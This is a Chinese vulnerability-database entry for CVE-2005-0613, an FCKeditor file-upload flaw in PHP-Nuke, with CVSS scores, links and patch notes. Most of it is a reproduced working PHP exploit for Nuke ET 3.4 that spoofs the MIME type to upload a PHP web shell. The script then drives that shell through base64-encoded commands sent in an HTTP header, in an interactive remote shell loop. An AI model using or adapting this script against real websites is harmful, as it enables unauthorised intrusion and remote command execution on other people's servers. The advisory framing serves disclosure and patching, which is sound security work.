CVE-2005-0613
CVSS5.0
发布时间 :2005-02-28 00:00:00
修订时间 :2008-09-05 16:46:48
NMCOE    

[原文]Unknown vulnerability in FCKeditor 2.0 RC2, when used with PHP-Nuke, allows remote attackers to upload arbitrary files.


[CNNVD]FCKeditor For PHP-Nuke任意文件上传漏洞(CNNVD-200502-098)

        FCKeditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器。
        FCKeditor 2.0 RC2中的未知漏洞,在用于PHP-Nuke时,可让远程攻击者上传任意文件。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0613
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0613
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200502-098
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/12676
(VENDOR_ADVISORY)  BID  12676

- 漏洞信息

FCKeditor For PHP-Nuke任意文件上传漏洞
中危 输入验证
2005-02-28 00:00:00 2005-10-20 00:00:00
远程  
        FCKeditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器。
        FCKeditor 2.0 RC2中的未知漏洞,在用于PHP-Nuke时,可让远程攻击者上传任意文件。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        FCKeditor FCKeditor 2.0 RC2
        FCKeditor FCKeditor 2.0 RC3
        http://www.fckeditor.net/whatsnew/default.html

- 漏洞信息 (6783)

Nuke ET <= 3.4 (fckeditor) Remote Arbitrary File Upload Exploit (EDBID:6783)
php webapps
2008-10-18 Verified
0 EgiX
N/A [点击下载]
<?php

/*
	---------------------------------------------------------------
	Nuke ET <= 3.4 (fckeditor) Remote Arbitrary File Upload Exploit
	---------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.truzone.org/
	
	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.
	
	[-] vulnerable code in /nuke/FCKeditor/editor/filemanager/browser/default/connectors/php/commands.php
	
	147.	function FileUpload( $resourceType, $currentFolder )
	148.	{
	149.		$sErrorNumber = '0' ;
	150.		$sFileName = '' ;
	151.	
	152.		if ( isset( $_FILES['NewFile'] ) && !is_null( $_FILES['NewFile']['tmp_name'] ) )
	153.		{
	154.			$oFile = $_FILES['NewFile'] ;
	155.	
	156.			// Map the virtual path to the local server path.
	157.			$sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
	158.	
	159.			// Get the uploaded file name.
	160.			$sFileName = $oFile['name'] ;
	161.			$sOriginalFileName = $sFileName ;
	162.			// Security fix by truzone 01-15-2006
	163.			//$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
	164.			//$sExtension = strtolower( $sExtension ) ;
	165.	
	166.			if(extension_loaded("mime_magic")){
	167.			$sExtension = mime_content_type($oFile['tmp_name']);
	168.			}else{
	169.			$sExtension = $oFile['type'];
	170.			}
	171.			// en of security fix by truzone 01-15-2006
	172.			global $Config ;
	173.	
	174.			$arAllowed	= $Config['AllowedExtensions'][$resourceType] ;
	175.			$arDenied	= $Config['DeniedExtensions'][$resourceType] ;

	An attacker might be able to upload arbitrary files containing malicious PHP code due to the code
	near lines 166-170 will check only the MIME type of the upload request, that can be easily spoofed!
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from {$host}:80 Trying again...";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

function connector_response($html)
{
	return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}

print "\n+------------------------------------------------------------------+";
print "\n| Nuke ET <= 3.4 (fckeditor) Arbitrary File Upload Exploit by EgiX |";
print "\n+------------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage......: php $argv[0] host path";
	print "\nExample....: php $argv[0] localhost /";
	print "\nExample....: php $argv[0] localhost /nukeet/\n";
	die();
}

$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);

$filename  = md5(time()).".php";
$connector = "FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php";

$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: application/zip\r\n\r\n";
$payload .= "PK\003\004<?php error_reporting(0);print(\"_code_\\n\");passthru(base64_decode(\$_SERVER[HTTP_CMD])); ?>\n";
$payload .= "--o0oOo0o--\r\n";

$packet	 = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0\r\n";
$packet	.= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Shell uploaded to {$filename}...starting it!\n";

$path .= str_repeat("../", substr_count($path, "/") - 1) . "UserFiles/File/"; // come back to the document root 

$packet  = "GET {$path}{$filename} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
	print "\nnukeet-shell# ";
	$cmd = trim(fgets(STDIN));
	if ($cmd != "exit")
	{
		$response = http_send($host, sprintf($packet, base64_encode($cmd)));
		preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
	}
	else break;
}

?>

# milw0rm.com [2008-10-18]
		

- 漏洞信息

14290
PHP-Nuke FCKeditor connector.php File Upload Arbitrary PHP Code Execution
Remote / Network Access
Loss of Integrity
Exploit Public Uncoordinated Disclosure

- 漏洞描述

- 时间线

2005-02-28 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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